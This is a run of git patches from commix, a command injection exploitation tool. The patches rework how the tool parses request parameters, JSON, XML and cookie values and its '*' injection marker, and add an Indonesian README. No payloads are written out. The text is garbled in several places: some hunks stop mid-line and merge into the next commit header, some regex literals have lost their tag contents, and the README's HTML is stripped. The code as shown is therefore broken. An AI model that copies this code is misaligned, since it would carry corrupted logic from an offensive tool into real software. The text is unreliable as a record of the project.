https://github.com/commixproject/commix/commit/0ddba4e5fa0ea60c92134255cdb6d4ff30d62344 --- src/core/requests/parameters.py | 11 +++++++---- src/utils/settings.py | 3 ++- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 89ffebc764..e0cb2ed8e0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -155,9 +155,10 @@ def multi_params_get_value(param, all_params): urls_list.append(url) else: for param in range(0,len(multi_parameters)): - # Grab the value of parameter. - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) + value = multi_params_get_value(param, multi_parameters) + if re.search(settings.VALUE_BOUNDARIES, value): + multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + value = checks.value_boundaries(multi_parameters[param], value, http_request_method) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter @@ -182,6 +183,7 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -400,6 +402,7 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -427,7 +430,7 @@ def prefixes(payload, prefix): # Check if defined "--prefix" option. testable_value = settings.TESTABLE_VALUE - if settings.WILDCARD_CHAR_APPLIED: + if settings.WILDCARD_CHAR_APPLIED and len(settings.POST_WILDCARD_CHAR) != 0: testable_value = "" if menu.options.prefix: payload = testable_value + menu.options.prefix + prefix + payload diff --git a/src/utils/settings.py b/src/utils/settings.py index 53c0b92d6c..3ed2826080 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -346,6 +346,7 @@ def sys_argv_errors(): # The wildcard character WILDCARD_CHAR = "*" WILDCARD_CHAR_APPLIED = False +POST_WILDCARD_CHAR = "" # Testable parameter(s) - comma separated. TEST_PARAMETER = "" From 5284ebdb95f83f5b3151edbe512918d270f8419b Mon Sep 17 00:00:00 2001 From: Galih Anggoro Prasetya <83481679+galihap76@users.noreply.github.com> Date: Thu, 19 Jan 2023 20:59:04 +0700 Subject: [PATCH 261/560] Create README-idn-IDN.md --- doc/translations/README-idn-IDN.md | 41 ++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 doc/translations/README-idn-IDN.md diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md new file mode 100644 index 0000000000..4f3855f13c --- /dev/null +++ b/doc/translations/README-idn-IDN.md @@ -0,0 +1,41 @@ +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + Twitter +

+

+ +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. + + +![Screenshot](https://commixproject.com/images/background.png) +Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki. + +## Instalasi + +Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git: + + $ git clone https://github.com/commixproject/commix.git commix + +Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru. + +*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.* + + +## Penggunaan + +Untuk mendapatkan daftar semua opsi dan sakelar gunakan: + + $ python commix.py -h + +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, sakelar dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. + + +## Link + +* Panduan: https://github.com/commixproject/commix/wiki +* Pelacak masalah : https://github.com/commixproject/commix/issues From 04d705e05cc8c78a7fdf2413497cd48eba8c286f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 Jan 2023 08:42:39 +0200 Subject: [PATCH 262/560] Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). --- doc/CHANGELOG.md | 5 +- src/core/injections/controller/checks.py | 36 ++++++------ src/core/requests/parameters.py | 70 ++++++++++-------------- src/utils/settings.py | 2 +- 4 files changed, 51 insertions(+), 62 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8609b0c023..a1937e8e5e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). @@ -95,7 +96,7 @@ * Revised: Minor improvement regarding verbose mode (i.e. debug messages). * Fixed: Bug-fix regarding Basic HTTP authentication. * Revised: Minor improvement regarding redirection mechanism. -* Fixed: Bug-fix regarding defining wildcard character "*" in nested JSON objects. +* Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. * Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets). @@ -398,7 +399,7 @@ ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. * Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. -* Replaced: The "INJECT_HERE" tag has been replaced with the "*" (asterisk) wildcard character. +* Replaced: The "INJECT_HERE" tag has been replaced with the `*` (asterisk) wildcard character. * Added: New option `--level` (1-3) that specifies level of tests to perform. * Added: New option `-p` that specifies a comma-separated list of GET/POST parameter. * Added: The ability to check every parameter in the provided cookie data. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3de19d9e25..7d2834d367 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -357,24 +357,26 @@ def check_boundaries_value(parameter, value, http_request_method): """ def PCRE_e_modifier(parameter, http_request_method): original_parameter = parameter - if settings.INJECT_TAG in parameter: - parameter = parameter.replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) if not settings.PCRE_MODIFIER in parameter: - if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: - while True: - message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter.split("=")[1] + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - if modifier_check in settings.CHOICE_YES: - return original_parameter + settings.PCRE_MODIFIER[1:2] - elif modifier_check in settings.CHOICE_NO: - return original_parameter - elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - common.invalid_option(modifier_check) - pass + try: + if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: + while True: + message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + return original_parameter + settings.PCRE_MODIFIER[1:2] + elif modifier_check in settings.CHOICE_NO: + return original_parameter + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(modifier_check) + pass + except Exception as ex: + pass return parameter """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e0cb2ed8e0..93548f82fc 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -39,8 +39,8 @@ def do_GET_check(url, http_request_method): """ Grab the value of parameter. """ - def multi_params_get_value(param, all_params): - value = re.findall(r'=(.*)', all_params[param]) + def multi_params_get_value(parameter): + value = re.findall(r'=(.*)', parameter) value = ''.join(value) return value @@ -78,6 +78,10 @@ def multi_params_get_value(param, all_params): # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) + + for param in range(len(multi_parameters)): + multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): return urls_list @@ -85,14 +89,11 @@ def multi_params_get_value(param, all_params): _ = [] _.append(parameters) parameters = ''.join(checks.check_similarities(_)) - value = re.findall(r'=(.*)', parameters) - value = ''.join(value) + value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): - parameters = checks.PCRE_e_modifier(parameters, http_request_method) value = checks.value_boundaries(parameters, value, http_request_method) - # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). @@ -102,19 +103,10 @@ def multi_params_get_value(param, all_params): parameters = parameters + settings.INJECT_TAG else: parameters = parameters.replace(value, value + settings.INJECT_TAG) - # else: - # # Auto-recognize prefix / suffix - # if settings.INJECT_TAG in value: - # if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: - # menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] - # if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: - # menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] - # parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters urls_list.append(url) return urls_list - else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) @@ -125,9 +117,7 @@ def multi_params_get_value(param, all_params): if settings.INJECT_TAG not in url: for param in range(0,len(all_params)): # Grab the value of parameter. - value = multi_params_get_value(param, all_params) - if re.search(settings.VALUE_BOUNDARIES, value): - all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method) + value = multi_params_get_value(all_params[param]) for param in range(0,len(all_params)): if param == 0 : old = re.findall(r'=(.*)', all_params[param]) @@ -135,7 +125,7 @@ def multi_params_get_value(param, all_params): else : old = value # Grab the value of parameter. - value = multi_params_get_value(param, all_params) + value = multi_params_get_value(all_params[param]) if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). @@ -155,10 +145,7 @@ def multi_params_get_value(param, all_params): urls_list.append(url) else: for param in range(0,len(multi_parameters)): - value = multi_params_get_value(param, multi_parameters) - if re.search(settings.VALUE_BOUNDARIES, value): - multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) - value = checks.value_boundaries(multi_parameters[param], value, http_request_method) + value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter @@ -183,7 +170,10 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -219,8 +209,9 @@ def multi_params_get_value(param, all_params): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"") # Check if JSON Object. - if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): - parameter = checks.check_quotes_json_data(parameter) + if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): + if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): + parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: checks.process_json_data() settings.PARAMETER_DELIMITER = "," @@ -248,11 +239,16 @@ def multi_params_get_value(param, all_params): except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() + # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: checks.inappropriate_format(multi_parameters) + + for param in range(len(multi_parameters)): + multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + # Check if single parameter is supplied. if len(multi_parameters) == 1: if settings.INJECT_TAG not in multi_parameters[0]: @@ -274,6 +270,7 @@ def multi_params_get_value(param, all_params): parameter = ''.join(checks.check_similarities(_)) value = re.findall(r'=(.*)', parameter) value = ''.join(value) + if checks.is_empty(multi_parameters, http_request_method): return parameter else: @@ -281,7 +278,6 @@ def multi_params_get_value(param, all_params): if checks.ignore_anticsrf_parameter(parameter): return parameter if re.search(settings.VALUE_BOUNDARIES, value): - parameter = checks.PCRE_e_modifier(parameter, http_request_method) value = checks.value_boundaries(parameter, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -309,11 +305,6 @@ def multi_params_get_value(param, all_params): if settings.INJECT_TAG not in parameter: if checks.is_empty(multi_parameters, http_request_method): return parameter - for param in range(0, len(all_params)): - # Grab the value of parameter. - value = multi_params_get_value(param, all_params) - if re.search(settings.VALUE_BOUNDARIES, value): - all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method) for param in range(0, len(all_params)): if param == 0 : if settings.IS_JSON: @@ -355,15 +346,7 @@ def multi_params_get_value(param, all_params): else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. - if settings.IS_JSON: - value = re.findall(r'\"(.*)\"', multi_parameters[param]) - value = ''.join(value) - if settings.IS_XML: - value = re.findall(r'>(.*) Date: Sun, 22 Jan 2023 08:52:44 +0200 Subject: [PATCH 263/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/04d705e05cc8c78a7fdf2413497cd48eba8c286f --- src/core/requests/parameters.py | 24 +++++++++++++++--------- src/utils/settings.py | 2 +- 2 files changed, 16 insertions(+), 10 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 93548f82fc..d6a528f3ae 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -170,10 +170,11 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - try: - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -374,7 +375,11 @@ def vuln_POST_param(parameter, url): if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) vuln_parameter = re.findall(r"" + "([^]+)" + settings.INJECT_TAG, parameter)[0] + if settings.WILDCARD_CHAR_APPLIED and len(vuln_parameter) != 1 : + settings.POST_WILDCARD_CHAR = vuln_parameter[0] + settings.TESTABLE_VALUE = vuln_parameter = vuln_parameter[1] + else: + settings.TESTABLE_VALUE = re.findall(r"" + "([^>]+)" + settings.INJECT_TAG, parameter)[0] vuln_parameter = ''.join(vuln_parameter) # Regular POST data format. @@ -385,10 +390,11 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - try: - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a03dd42ae..6c3ab0b413 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c86188f036404764a88a801cfc22e6d9449762fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 Jan 2023 08:24:46 +0200 Subject: [PATCH 264/560] Fixes https://github.com/commixproject/commix/issues/805, https://github.com/commixproject/commix/issues/810 --- src/core/requests/parameters.py | 2 -- src/utils/settings.py | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d6a528f3ae..9e3f169ad5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -196,8 +196,6 @@ def do_POST_check(parameter, http_request_method): def multi_params_get_value(param, all_params): if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) - if re.findall(r'\\"(.*)\\"', value[0]): - value = re.findall(r'\\"(.*)\\"', value[0]) value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) elif settings.IS_XML: value = re.findall(r'>(.*) Date: Tue, 24 Jan 2023 07:41:34 +0200 Subject: [PATCH 265/560] Minor code refactoring --- src/core/requests/parameters.py | 13 ++----------- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 12 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9e3f169ad5..9f5444a7bb 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -120,8 +120,7 @@ def multi_params_get_value(parameter): value = multi_params_get_value(all_params[param]) for param in range(0,len(all_params)): if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) + old = multi_params_get_value(all_params[param]) else : old = value # Grab the value of parameter. @@ -306,15 +305,7 @@ def multi_params_get_value(param, all_params): return parameter for param in range(0, len(all_params)): if param == 0 : - if settings.IS_JSON: - old = re.findall(r'\:(.*)', all_params[param]) - old = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(old)) - elif settings.IS_XML: - old = re.findall(r'>(.*) Date: Wed, 25 Jan 2023 07:26:31 +0200 Subject: [PATCH 266/560] Minor update --- src/core/injections/controller/checks.py | 46 +++++++++++--------- src/core/injections/controller/controller.py | 15 ++++--- src/core/main.py | 12 ++--- src/core/requests/parameters.py | 37 ++++++++++------ src/utils/settings.py | 2 +- 5 files changed, 63 insertions(+), 49 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7d2834d367..e765794ac4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -66,15 +66,15 @@ def check_custom_injection_marker(url): else: option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = True + settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True menu.options.level = settings.COOKIE_INJECTION_LEVEL elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = True + settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = True + settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: @@ -586,21 +586,24 @@ def assessment_phase(): Check current assessment phase. """ def check_injection_level(): - # Checking testable parameters for cookies - if menu.options.cookie: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL + try: + # Checking testable parameters for cookies + if menu.options.cookie: + if settings.COOKIE_DELIMITER in menu.options.cookie: + cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) + for cookie in cookies: + if cookie.split("=")[0].strip() in menu.options.test_parameter: + menu.options.level = settings.COOKIE_INJECTION_LEVEL + elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: + menu.options.level = settings.COOKIE_INJECTION_LEVEL + + # Checking testable HTTP headers for user-agent / referer / host + if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + except Exception as ex: + return - # Checking testable HTTP headers for user-agent / referer / host - if "user-agent" in menu.options.test_parameter or \ - "referer" in menu.options.test_parameter or \ - "host" in menu.options.test_parameter: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL """ Procced to the next attack vector. @@ -1631,8 +1634,9 @@ def is_empty(multi_parameters, http_request_method): if settings.IS_JSON: try: multi_params = ','.join(multi_params) - json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) - multi_params = flatten(json_data) + if is_JSON_check(multi_params): + json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) + multi_params = flatten(json_data) except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1649,8 +1653,8 @@ def is_empty(multi_parameters, http_request_method): elif len(str(multi_params[empty])) == 0 : empty_parameters.append(empty) except TypeError: - warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." - print(settings.print_warning_msg(warn_msg)) + # warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." + # print(settings.print_warning_msg(warn_msg)) pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0a1e3c2fa7..d0308071d8 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -80,7 +80,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, for payload in basic_payloads: _ = _ + 1 if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)): + if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") @@ -138,7 +138,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)): + if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") @@ -329,7 +329,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == "Cookie" and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) - settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] if header_name == "Cookie" : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: @@ -733,10 +733,11 @@ def basic_level_checks(): settings.CUSTOM_HEADER_INJECTION = None # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - get_request(url, http_request_method, filename, timesec) - else: - post_request(url, http_request_method, filename, timesec) + if not settings.COOKIE_INJECTION: + if settings.USER_DEFINED_POST_DATA: + post_request(url, http_request_method, filename, timesec) + else: + get_request(url, http_request_method, filename, timesec) _ = menu.options.level if _ >= settings.COOKIE_INJECTION_LEVEL: diff --git a/src/core/main.py b/src/core/main.py index ec489abfb8..aeee1fd0e7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -303,6 +303,11 @@ def main(filename, url): checks.check_custom_injection_marker(url) + # Check injection level, due to the provided testable parameters. + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ + menu.options.test_parameter != None: + checks.check_injection_level() + # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) @@ -351,11 +356,6 @@ def main(filename, url): # Check provided parameters for tests checks.check_provided_parameters() - # Check injection level, due to the provided testable parameters. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ - menu.options.test_parameter != None: - checks.check_injection_level() - # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel @@ -564,7 +564,7 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9f5444a7bb..e6195dcf3b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -50,14 +50,15 @@ def multi_params_get_value(parameter): # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: + checks.check_injection_level() if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers: return False - if menu.options.level == settings.COOKIE_INJECTION_LEVEL : + if menu.options.level == settings.COOKIE_INJECTION_LEVEL: return False else: err_msg = "No parameter(s) found for testing on the provided target URL. " - err_msg += "You must specify the testable parameter(s) and/or " - err_msg += "try to increase '--level' value to perform more tests." + if not menu.options.crawldepth: + err_msg += "You are advised to rerun with '--crawl=2'." print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: @@ -206,6 +207,7 @@ def multi_params_get_value(param, all_params): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"") + checks.check_injection_level() # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -438,6 +440,15 @@ def suffixes(payload, suffix): The cookie based injection. """ def do_cookie_check(cookie): + + """ + Grab the value of parameter. + """ + def multi_params_get_value(parameter): + value = re.findall(r'=(.*)', parameter) + value = ''.join(value) + return value + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. cookie = checks.wildcard_character(cookie) multi_parameters = cookie.split(settings.COOKIE_DELIMITER) @@ -445,8 +456,7 @@ def do_cookie_check(cookie): if 